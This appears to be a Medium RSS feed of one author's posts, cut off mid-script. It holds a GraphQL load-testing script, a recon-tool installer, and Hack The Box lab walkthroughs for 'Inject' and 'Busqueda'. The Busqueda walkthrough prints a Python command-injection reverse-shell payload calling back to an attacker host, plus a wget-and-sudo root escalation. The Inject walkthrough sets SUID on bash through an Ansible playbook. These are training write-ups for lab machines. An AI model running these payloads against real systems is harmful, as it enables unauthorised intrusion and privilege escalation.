<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rahul Kumar on Medium]]></title>
        <description><![CDATA[Stories by Rahul Kumar on Medium]]></description>
        <link>https://medium.com/@rahulkumarmk?source=rss-7be7762b0e12------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hu3nI_oDrjvzaxgNjguExQ.jpeg</url>
            <title>Stories by Rahul Kumar on Medium</title>
            <link>https://medium.com/@rahulkumarmk?source=rss-7be7762b0e12------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 22:48:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rahulkumarmk/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Stress Testing a GraphQL Endpoint with Python Script]]></title>
            <link>https://systemweakness.com/stress-testing-a-graphql-endpoint-with-python-script-c9852b40a084?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9852b40a084</guid>
            <category><![CDATA[load-testing]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[qa]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[graphql]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Thu, 08 Jun 2023 10:59:47 GMT</pubDate>
            <atom:updated>2023-06-21T08:12:47.438Z</atom:updated>
            <content:encoded><![CDATA[<p>Stress testing is an essential part of ensuring the performance and scalability of web applications. When it comes to GraphQL endpoints, it’s crucial to evaluate how well they handle heavy traffic and maintain optimal response times. In this article, we’ll explore how to stress test a GraphQL endpoint using a Python script. We’ll walk through the process step-by-step and provide a ready-to-use script that you can utilize for stress testing your GraphQL endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/0*2M8fDMmgHixI_eO_.png" /></figure><p><strong>Prerequisites:</strong> Before we begin, make sure you have the following prerequisites:</p><ol><li>Python installed on your machine (version 3 or above)</li><li>Basic understanding of GraphQL and its concepts</li></ol><p><strong>Step 1: Understanding the GraphQL Endpoint:</strong></p><p>Before stress testing a GraphQL endpoint, it’s important to have a clear understanding of the API and the queries it supports. Familiarize yourself with the available queries and their expected responses. This knowledge will help in crafting realistic test scenarios and evaluating the performance accurately.</p><p><strong>Step 2: Building the Stress Testing Script:</strong></p><p>To stress test the GraphQL endpoint, we’ll utilize the power of Python and the requests library. We&#39;ll create a Python script that sends repetitive requests to the endpoint using multiple threads.</p><p>First, create a new Python file and import the necessary libraries:</p><pre>import requests<br>import json<br>import threading<br>from concurrent.futures import ThreadPoolExecutor</pre><p><strong>Step 3: Defining GraphQL Queries:</strong></p><p>In the script, define the GraphQL queries that you want to test. You can store these queries in a separate file or directly within the script itself. Each query should be a valid GraphQL query string.</p><pre>graphql_queries = [<br>    # Query 1<br>    {<br>        &quot;query&quot;: &quot;...&quot;<br>    },<br>    # Query 2<br>    {<br>        &quot;query&quot;: &quot;...&quot;<br>    },<br>    # Add more queries as needed<br>]</pre><p><strong>Step 4:</strong> <strong>Configuring the Endpoint and Headers:</strong></p><p>Specify the URL of the GraphQL endpoint and any required headers in the script.</p><pre>url = &quot;https://your-graphql-endpoint.com/graphql&quot;<br><br>headers = {<br>    &quot;Content-Type&quot;: &quot;application/json&quot;,<br>    # Add any additional headers as needed<br>}</pre><p><strong>Step 5: Sending Requests Concurrently:</strong></p><p>In this step, we’ll define a function that sends GraphQL requests and execute it concurrently using multiple threads.</p><pre>def send_request(query):<br>    payload = {<br>        &quot;query&quot;: query<br>    }<br><br>    response = requests.post(url, headers=headers, json=payload)<br><br>    if response.status_code == 200:<br>        print(&quot;GraphQL query executed successfully:&quot;)<br>        print(response.json())<br>    else:<br>        print(&quot;GraphQL query failed with status code:&quot;, response.status_code)<br>        print(response.text)<br><br>def stress_test():<br>    with ThreadPoolExecutor() as executor:<br>        for query in graphql_queries:<br>            executor.submit(send_request, query[&quot;query&quot;])</pre><p><strong>Step 6: Sending Requests Concurrently with Threading:</strong></p><p>To further enhance the stress testing capabilities, we can introduce threading into our script. Threading allows us to send multiple requests simultaneously, increasing the number of requests per second and providing a more realistic stress testing scenario. Let’s update our script to incorporate threading.</p><pre>import threading<br><br># ...<br><br>def send_request(query):<br>    # Existing code to send the GraphQL request<br><br>def stress_test():<br>    threads = []<br><br>    for query in graphql_queries:<br>        thread = threading.Thread(target=send_request, args=(query[&quot;query&quot;],))<br>        thread.start()<br>        threads.append(thread)<br><br>    for thread in threads:<br>        thread.join()</pre><p><strong>Step 7: Running the Stress Test</strong>:</p><p>In the main section of the script, call the stress_test() function to start the stress testing process.</p><pre>if __name__ == &quot;__main__&quot;:<br>    stress_test()</pre><p><strong>Step 8: Analyzing the Results:</strong> After running the stress test, observe the responses and analyze the results. Look for any errors, unexpected behavior, or performance issues. Check the response times and the server’s ability to handle concurrent requests.</p><h3>Complete script implementing threading for enhanced request volume</h3><h4>gen.py</h4><pre>import requests<br>import json<br>import threading<br>from concurrent.futures import ThreadPoolExecutor<br>from colorama import Fore, Style<br>from request import graphql_queries<br>import random<br>import os<br><br>url = &quot;&lt;URL HERE&gt;&quot;<br><br>headers = {<br>    &quot;Content-Type&quot;: &quot;application/json&quot;,<br>    &quot;Authorization&quot;: &quot;&lt;token HERE&gt;&quot;<br>    # Add any additional headers as needed<br>}<br><br>lock = threading.Lock()<br>exit_flag = threading.Event()<br>success_counter = 0<br><br>def execute_query(query):<br>    global success_counter<br>    payload = {<br>        # use this payload if query is going a query<br>        # &quot;query&quot;: query<br>        <br>        # simple send the query as in request.py file<br>        query<br>    }<br><br>    response = requests.post(url, headers=headers, json=payload)<br><br>    if response.status_code == 200:<br>        with lock:<br>            success_counter += 1<br>        print(f&quot;{Fore.GREEN}GraphQL query executed successfully:{Style.RESET_ALL}&quot;)<br>        print(response.json())<br>    else:<br>        print(f&quot;{Fore.RED}GraphQL query failed with status code: {response.status_code}{Style.RESET_ALL}&quot;)<br>        print(response.text)<br><br>def run_query():<br>    while not exit_flag.is_set():<br>        with lock:<br>            query = random.choice(graphql_queries)<br>        execute_query(query)<br><br>def main():<br>    print(f&quot;{Fore.CYAN}Threaded GraphQL Load Testing Script{Style.RESET_ALL}&quot;)<br>    print(&quot;Created by Rahul Kumar&quot;)<br><br>    # Prompt the user for the number of threads<br>    num_threads = int(input(&quot;Enter the number of threads to use: &quot;))<br><br>    # Create and start the worker threads<br>    threads = []<br>    for _ in range(num_threads):<br>        thread = threading.Thread(target=run_query)<br>        thread.start()<br>        threads.append(thread)<br><br>    try:<br>        # Keep the main thread alive until interrupted<br>        while True:<br>            pass<br>    except KeyboardInterrupt:<br>        print(&quot;Interrupt signal received. Stopping the load testing...&quot;)<br>        exit_flag.set()<br>        # Wait for all threads to finish<br>        for thread in threads:<br>            thread.join()<br><br>        print(f&quot;{Fore.GREEN}Successful requests: {success_counter}{Style.RESET_ALL}&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>request.py</p><pre>graphql_queries = [<br>    &quot;&quot;&quot;<br>    query {<br>        getUser(id: 1) {<br>            id<br>            name<br>            email<br>        }<br>    }<br>    &quot;&quot;&quot;,<br>    &quot;&quot;&quot;<br>    query {<br>        getAllPosts {<br>            id<br>            title<br>            content<br>        }<br>    }<br>    &quot;&quot;&quot;,<br>    &quot;&quot;&quot;<br>    mutation {<br>        createPost(input: { title: &quot;New Post&quot;, content: &quot;This is a new post.&quot; }) {<br>            id<br>            title<br>            content<br>        }<br>    }<br>    &quot;&quot;&quot;<br>]</pre><p><strong>Conclusion:</strong> In this article, we’ve explored how to stress test a GraphQL endpoint using a Python script. Stress testing helps identify potential performance bottlenecks and ensures that the GraphQL API can handle heavy traffic effectively. By following the steps outlined in this article, you can easily set up and execute stress tests on your GraphQL endpoints. Remember to analyze the results carefully and optimize your API accordingly. Happy stress testing!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9852b40a084" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/stress-testing-a-graphql-endpoint-with-python-script-c9852b40a084">Stress Testing a GraphQL Endpoint with Python Script</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inject — Hack The Box]]></title>
            <link>https://systemweakness.com/inject-hack-the-box-2266a31e9c63?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/2266a31e9c63</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Fri, 02 Jun 2023 10:31:16 GMT</pubDate>
            <atom:updated>2023-06-21T08:12:41.118Z</atom:updated>
            <content:encoded><![CDATA[<h3>Inject — Hack The Box</h3><p>In this write up we’re going to solve a box on hack the box called “Inject”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*B3PVu1TELMmB6sYl.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FmZ0H7VtlAkc3wsOiIE%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2FTheSwoon-mZ0H7VtlAkc3wsOiIE&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExOGEyZjBmNWMxMTBlMGQyMDYyOWM2YTI4YjVmZTAzZDNkNjMyOTY0MyZlcD12MV9pbnRlcm5hbF9naWZzX2dpZklkJmN0PWc%2FmZ0H7VtlAkc3wsOiIE%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="244" frameborder="0" scrolling="no"><a href="https://medium.com/media/89da0defee694236fc40cc15884e4db3/href">https://medium.com/media/89da0defee694236fc40cc15884e4db3/href</a></iframe><h3>Nmap Scan</h3><pre>nmap -sC -sV -Ao nmap/inject 10.10.11.204</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*U9YecF17E9pRTR0l.png" /></figure><p>Two ports are open 22 (ssh) and 8080 (webserver )</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*dUE9HNQTeEkw5MD2.png" /></figure><p>we got an upload functionality on the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_VMq5Q8Zit_phooF.png" /></figure><p>when we view our uploaded image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/0*dLrBCx9bMgCTpdoi.png" /></figure><p>this parameter is called and is vulnerable to lfi and directory listing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JJkNaJ3sAulwD7b6.png" /></figure><p>with the directory listing, we can list the directory content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EwFoIThQ4tbJhJ71.png" /></figure><p>in the Frank home directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*tb4L6w0FlIueJ2oj.png" /></figure><p>we got the user Phil’s password, but we can’t SSH with this as it req a public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JBhcxvev6Py2MebC.png" /></figure><p>if we see the dependencies in pom.xml file located in /var/www/WebApp</p><p>we see that it has a dependency on the spring cloud function web</p><p>for this vulnerability, rapid7 has a module in Metasploit.</p><ul><li><a href="https://www.rapid7.com/db/modules/exploit/multi/http/spring_cloud_function_spel_injection/">Spring Cloud Function SpEL Injection</a></li><li><a href="https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/http/spring_cloud_function_spel_injection">Spring Cloud Function SpEL Injection - Metasploit - InfosecMatter</a></li></ul><p>we can use this module</p><pre>use exploit/multi/http/spring_cloud_function_spel_injection</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*DHfEOQntnASJZCcC.png" /></figure><p>set the Lhost and Rhost</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ewOp2nZpHRUKAPtl.png" /></figure><p>run the exploit. we gotta shell as frank</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*FhyL38kk_v42xm0K.png" /></figure><p>we gotta shell as frank</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FqrIsXgEdorkI%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2F60s-70s-50s-qrIsXgEdorkI&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZmIwN2MyYjU3ZDczYjkxYjE5YTRmMGVlMDhkZGZkZmNjZTQ1YzhkNCZlcD12MV9pbnRlcm5hbF9naWZzX2dpZklkJmN0PWc%2FqrIsXgEdorkI%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="507" frameborder="0" scrolling="no"><a href="https://medium.com/media/597e6c7232d7d2df9f3f7e7a41a2a053/href">https://medium.com/media/597e6c7232d7d2df9f3f7e7a41a2a053/href</a></iframe><h3>PRIVILEGE ESCALATION</h3><p>we can escalate the privilege to the user Phil through the password we got in that frank directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8QsVnnWpDm1JdhZT.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FqaaSZMnWkufRu%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fmeme-funny-pics-pic-qaaSZMnWkufRu&amp;image=https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExM2Q2ZWZhNGZiNWI5NGZmNmVkZjVhOGZjOTk4NDJlNDA2M2ZiYzdkYyZlcD12MV9pbnRlcm5hbF9naWZzX2dpZklkJmN0PWc%2FqaaSZMnWkufRu%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/ecb39f775791909bc3a5b885dd4f10d8/href">https://medium.com/media/ecb39f775791909bc3a5b885dd4f10d8/href</a></iframe><h3>PRIVILEGE ESCALATION TO ROOT</h3><p>if we see in /opt directory we got some files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/0*jgEETFmRKIIIO6Ku.png" /></figure><p>it’s an Ansible playbook</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/0*o9tcV3ZP0-OT-RQD.png" /></figure><p>we can create our own playbook to get a shell</p><pre>- hosts: localhost<br>  tasks:<br>    - name: ROOT<br>      command: chmod u+s /bin/bash<br>      become: true</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*oTmbs4trWrRX-cBT.png" /></figure><p>put the file in the same folder as playbook_2.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/0*EdW2419dOt_EWd-r.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/0*s-UmErDrhqQP3AK0.png" /></figure><p>after the permission change, we get su our shell as the root</p><pre>/bin/bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/0*qwiVN2Cnxi2bILZ2.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FhOUnTqlzHv5m0%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fgiphy.com%2Fgifs%2Fmeme-joke-hOUnTqlzHv5m0&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMThjN2Q0YWJhYjI0Njg4ZjlhMTAxYTJjYTAyYzRlNDM2ZDVmYjgwNiZlcD12MV9pbnRlcm5hbF9naWZzX2dpZklkJmN0PWc%2FhOUnTqlzHv5m0%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="292" frameborder="0" scrolling="no"><a href="https://medium.com/media/0402cf26afb1523e67e8d33985bd2f79/href">https://medium.com/media/0402cf26afb1523e67e8d33985bd2f79/href</a></iframe><p><strong>That’s it! Hope you like this write-up! Thanks for reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2266a31e9c63" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/inject-hack-the-box-2266a31e9c63">Inject — Hack The Box</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Busqueda — Hack The Box]]></title>
            <link>https://systemweakness.com/busqueda-hack-the-box-964fed1515a6?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/964fed1515a6</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Fri, 02 Jun 2023 10:31:03 GMT</pubDate>
            <atom:updated>2023-07-04T12:51:41.061Z</atom:updated>
            <content:encoded><![CDATA[<h3>Busqueda — Hack The Box</h3><p>In this write-up, we will solve a box on hackthebox called Busqueda.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UXHLp-YKsVAiFidx.png" /></figure><p>Nmap Scan</p><pre>nmap -sC -sV -Ao nmap/Busqueda 10.10.11.208</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Rcy2uwDogANv5Ghq.png" /></figure><p>we got an ssh port and an HTTP port open.</p><p><strong>Web server enumeration</strong></p><p>first, get the hostname in the /etc/hosts file.</p><pre>echo &quot;10.10.11.208 searcher.htb&quot; &gt;&gt; /etc/hosts</pre><p>if we see the technology used on the webpage</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*XEypLyNPZE73UdOG.png" /></figure><p>it uses <strong>Searchor 2.4.0</strong></p><p>after some googling found that it is vulnerable to remote command injection.</p><p>got a POC from GitHub</p><p><a href="https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-/blob/main/README.md">Searchor-2.4.0-POC-Exploit-/README.md at main · nexis-nexis/Searchor-2.4.0-POC-Exploit-</a></p><pre>&#39;, exec(&quot;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#39;ATTACKER_IP&#39;,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&#39;/bin/sh&#39;,&#39;-i&#39;]);&quot;))#</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kQM4G8uQkZ5QvSjS.png" /></figure><p>Got the payload ready and fired up your nc listener on the port specified in the payload</p><pre>nc -nvlp 1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/0*4dYuIriyQmol2Hma.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*irvME0LpY8nrUY0n.png" /></figure><p>with the payload filled hit the search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/0*4FQts6pzCNj1N29E.png" /></figure><p>we got a shell back and our user flag.</p><h3>Root Privilege escalation</h3><p>If we enumerate the app folder in the /var/www directory</p><p>we got some info in logs and config files.</p><pre>git log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/0*sSkpdBK9eB9O1xE-.png" /></figure><p>we got a user called the <strong>administrator </strong>and a subdomain <strong>gitea.searcher.htb</strong></p><p>and with</p><pre>git config -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sDGhWMHebydmw0nk.png" /></figure><p>we got another user called <strong>Cody </strong>his password on the<strong> subdomain @ gitea.searcher.htb</strong></p><p>now lets that subdomain run</p><p>edit the /etc/hosts file and add the subdomain in the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/0*66xeiSIZzVWNKaDb.png" /></figure><p>login with Cody’s credentials on the site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*nasUQ77vRaA-z81A.png" /></figure><p>we got nothing much on the account but the password we found for Cody is reused as the svc account same account we got Shell for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*pR4hJ4FBVe72NyZm.png" /></figure><p>if we do</p><pre>sudo -S -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/0*kHCLTuZOtZlZnewv.png" /></figure><p>we can see we run a script system-checkup.py as the root user</p><pre>sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py random</pre><p>we can these three scripts with the system-checkup file</p><ol><li>docker-ps</li></ol><p>these are two containers running on the machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*p-caeUOrQZCjnj1p.png" /></figure><p>one is running gitra server and another one is running MySQL server</p><p>2. docker-inspect</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/0*tRcts7Ky81Jr77AT.png" /></figure><p>to use this we need to define formate and container name</p><p>we can get different formate from this</p><p><a href="https://docs.docker.com/config/formatting/">Format command and log output</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*raZm0vW9mYxTS6PH.png" /></figure><p>for all dump we can use this</p><p><em>dumping gitea container data</em></p><pre>sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .}}’ gitea</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8BqGmK72BcfOlgkx.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*44xRkxufVr-iDApr.png" /></figure><p><a href="https://jsonformatter.org/json-pretty-print">Best JSON Pretty Print Online</a></p><p>noting much in the <em>gitea dump</em></p><p><em>dumping MySQL container data</em></p><pre>sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect ‘{{json .}}’ mysql_db</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*aj28qkMCVemVIi6B.png" /></figure><p>we got some passwords in this dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/0*FtyGSi9WCsvguzqJ.png" /></figure><p>well nothing much is in the MySQL database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/0*O_XkFdiV8B0PDl6N.png" /></figure><p>we can try to login to gitra with this credentials as administrator</p><p>3. full-checkup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/0*MrKzKDxYYJ-4WfeL.png" /></figure><p>we got an error in this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*doiP1EArJG28QRtm.png" /></figure><p>we can log in as an administrator with the password we found in the MySQL dump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-xL7eHlpqVgzsvSA.png" /></figure><p>we got some scripts that we are running we cannot change the script content.</p><p>if we see the code of system-checkup.py we can see that the full-check.py full path is not defined in the script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/359/0*lZJDUPLUP7n6ZoIq.png" /></figure><p>so it can only be run if we are in the same directory as the full-checkup.sh script.</p><p>it is located in /opt/scripts directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_gM7xWu-AdCr58iT.png" /></figure><p>see it works if we are in the script directory</p><p>but what if we make ower own script and run it</p><p>create a rev shell in python bash one will not work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*7bgSyMs1bUfBwuwF.png" /></figure><pre>#!/usr/bin/python3<br>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.14.112&quot;,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;/bin/sh&quot;)</pre><p>save it as full-checkup.sh</p><p>host it with a Python server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/0*dcSApfy_YGhjVYV7.png" /></figure><pre>python3 -m http.server 1234</pre><p>copy the link to the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/0*aXtPoGecKTVxXEe0.png" /></figure><p>start an NC listener</p><p>then execute this command in a writable directory /tmp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*5qrpHhsQX6HJmEOeafSioA.png" /></figure><pre>wget http://10.10.14.112:1234/full-checkup.sh;chmod +x full-checkup.sh; sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/0*7RwFdRiIeGieysyK.png" /><figcaption>In this write-up, we will solve a box on hackthebox called Busqueda.</figcaption></figure><p>we got our shell as root</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=964fed1515a6" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/busqueda-hack-the-box-964fed1515a6">Busqueda — Hack The Box</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automate Web Reconnaissance and Security Testing with PhantomWeb]]></title>
            <link>https://systemweakness.com/automate-web-reconnaissance-and-security-testing-with-phantomweb-b669ec94848c?source=rss-7be7762b0e12------2</link>
            <guid isPermaLink="false">https://medium.com/p/b669ec94848c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[information-technology]]></category>
            <dc:creator><![CDATA[Rahul Kumar]]></dc:creator>
            <pubDate>Tue, 30 May 2023 08:01:53 GMT</pubDate>
            <atom:updated>2023-05-30T13:12:35.571Z</atom:updated>
            <content:encoded><![CDATA[<p>In the ever-evolving landscape of web security, it is crucial for security professionals and ethical hackers to have effective tools at their disposal to identify vulnerabilities and enhance the security of web applications. One such tool that simplifies the process is PhantomWeb. In this blog post, we will explore the features and functionality of PhantomWeb, a comprehensive web reconnaissance and security testing tool. Additionally, we will provide a script that automates the installation of required tools and configures the PATH variable for seamless usage of PhantomWeb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fH4B9ZWZ4ujlZJ4Zdkt5ZA.jpeg" /></figure><p><a href="https://github.com/Rahulk99/PhantomWeb">GitHub - Rahulk99/PhantomWeb: This script is designed to automate the reconnaissance process for a target website and perform various security-related checks. It helps in identifying subdomains, probing for alive domains, checking for possible subdomain takeover, scanning for open ports, and scraping Wayback Machine data.</a></p><h3>Script for Installing Tools and Configuring PATH Variable for using PhantomWeb</h3><pre>import os<br>import subprocess<br>import platform<br>import sys<br><br># Colors for text formatting<br>class Color:<br>    RED = &#39;\033[91m&#39;<br>    GREEN = &#39;\033[92m&#39;<br>    YELLOW = &#39;\033[93m&#39;<br>    RESET = &#39;\033[0m&#39;<br><br># Function to print colored text<br>def print_color(text, color):<br>    print(color + text + Color.RESET)<br><br># List of required tools<br>tools = [<br>    &quot;assetfinder&quot;,<br>    &quot;amass&quot;,<br>    &quot;httprobe&quot;,<br>    &quot;subjack&quot;,<br>    &quot;nmap&quot;<br>]<br><br># Install the tools<br>def install_tools():<br>    for tool in tools:<br>        print_color(f&quot;Installing {tool}...&quot;, Color.YELLOW)<br>        command = &quot;&quot;<br>        if platform.system() == &quot;Windows&quot;:<br>            command = f&quot;choco install {tool} -y&quot;<br>        elif platform.system() == &quot;Linux&quot;:<br>            command = f&quot;sudo apt-get install {tool} -y&quot;<br>        elif platform.system() == &quot;Darwin&quot;:<br>            command = f&quot;brew install {tool}&quot;<br>        else:<br>            print_color(f&quot;Unsupported operating system: {platform.system()}&quot;, Color.RED)<br>            sys.exit(1)<br><br>        try:<br>            subprocess.run(command, shell=True, check=True)<br>            print_color(f&quot;{tool} installed successfully&quot;, Color.GREEN)<br>        except subprocess.CalledProcessError:<br>            print_color(f&quot;Failed to install {tool}&quot;, Color.RED)<br><br>    # Install waybackurls using go install<br>    print_color(&quot;Installing waybackurls...&quot;, Color.YELLOW)<br>    try:<br>        subprocess.run(&quot;go install github.com/tomnomnom/waybackurls@latest&quot;, shell=True, check=True)<br>        print_color(&quot;waybackurls installed successfully&quot;, Color.GREEN)<br>    except subprocess.CalledProcessError:<br>        print_color(&quot;Failed to install waybackurls&quot;, Color.RED)<br><br># Configure the PATH variable<br>def configure_path():<br>    path_var = os.getenv(&quot;PATH&quot;, &quot;&quot;)<br>    for tool in tools:<br>        tool_path = subprocess.check_output(f&quot;which {tool}&quot;, shell=True, universal_newlines=True).strip()<br>        if tool_path:<br>            path_var += &quot;:&quot; + os.path.dirname(tool_path)<br>    <br>    # Add Go binaries to PATH<br>    go_path = 